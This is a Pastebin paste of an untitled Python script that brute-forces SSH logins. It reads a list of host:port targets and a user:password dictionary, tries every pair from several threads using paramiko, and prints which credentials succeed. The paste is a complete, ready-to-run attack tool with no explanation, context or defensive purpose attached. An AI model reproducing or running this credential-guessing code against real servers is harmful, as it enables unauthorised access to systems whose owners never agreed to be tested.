Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from paramiko import SSHClient
  4. from paramiko.ssh_exception import AuthenticationException,SSHException
  5. from paramiko.client import AutoAddPolicy
  6.  
  7. import sys
  8. import threading
  9. import Queue
  10.  
  11.  
  12. SSH_LIST_FILE = None
  13. DICT_FILE=None
  14. NUM_THREADS = 2
  15.  
  16. arg_map = dict()
  17.  
  18.  
  19. class WorkerThread(threading.Thread) :
  20.  
  21. def __init__(self, queue) :
  22. threading.Thread.__init__(self)
  23. self.queue = queue
  24. #create and setup SSH client
  25. self.client = SSHClient()
  26. self.client.set_missing_host_key_policy(AutoAddPolicy())
  27.  
  28. def run(self):
  29. while True:
  30. data = self.queue.get()
  31. self.ssh_connect(data[0], data[1])
  32. sys.stdout.flush()
  33. self.queue.task_done()
  34.  
  35. def ssh_connect(self, ssh_host, credentials):
  36. try:
  37. self.client.connect(
  38. hostname=ssh_host[0],
  39. port=int(ssh_host[1]),
  40. username=credentials[0],
  41. password=credentials[1],
  42. timeout=15)
  43. except AuthenticationException, e:
  44. print("{} invalid credentials: {}".format(ssh_host, credentials))
  45. return
  46. except SSHException, msg:
  47. print(msg)
  48. return
  49. except Exception, e:
  50. print("{} failed to process credentials: {}".format(ssh_host, credentials))
  51. return
  52. print("{} success: {} OK!".format(ssh_host, credentials))
  53.  
  54.  
  55. def parse_args():
  56. global SSH_LIST_FILE, DICT_FILE, NUM_THREADS
  57. SSH_LIST_FILE = sys.argv[1]
  58. for i in range(2, len(sys.argv)-1):
  59. arg_map[sys.argv[i]] = sys.argv[i+1]
  60. DICT_FILE = arg_map.get('-d', DICT_FILE)
  61. NUM_THREADS = int(arg_map.get('-t', NUM_THREADS))
  62.  
  63.  
  64. def help():
  65. print("{} ssh_list_file -d dict_file [-t num_threads]".format(sys.argv[0]))
  66.  
  67.  
  68. def main():
  69. if len(sys.argv) < 2:
  70. help()
  71. sys.exit(1)
  72.  
  73. parse_args()
  74.  
  75. if not SSH_LIST_FILE or not DICT_FILE:
  76. help()
  77. sys.exit(2)
  78.  
  79. print("SSH_LIST_FILE = {}".format(SSH_LIST_FILE))
  80. print("DICT_FILE = {}".format(DICT_FILE))
  81. print("NUM_THREADS = {}".format(NUM_THREADS))
  82.  
  83. queue = Queue.Queue()
  84.  
  85. for i in range(NUM_THREADS):
  86. print("Creating worker thread: %d" % i)
  87. worker = WorkerThread(queue)
  88. worker.setDaemon(True)
  89. worker.start()
  90. print("worker thread %d created!" % i)
  91.  
  92. sys.stdout.flush()
  93. #process dictionary password file
  94. with open(DICT_FILE, "r") as dict_f:
  95. for cred_line in dict_f:
  96. credentials = cred_line.strip().split(':')
  97. with open(SSH_LIST_FILE, "r") as ssh_f:
  98. for host in ssh_f:
  99. host_port = host.strip().split(':')
  100. queue.put((host_port, credentials))
  101.  
  102. queue.join()
  103.  
  104. print("All tasks done!")
  105.  
  106.  
  107. if __name__ == '__main__':
  108. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement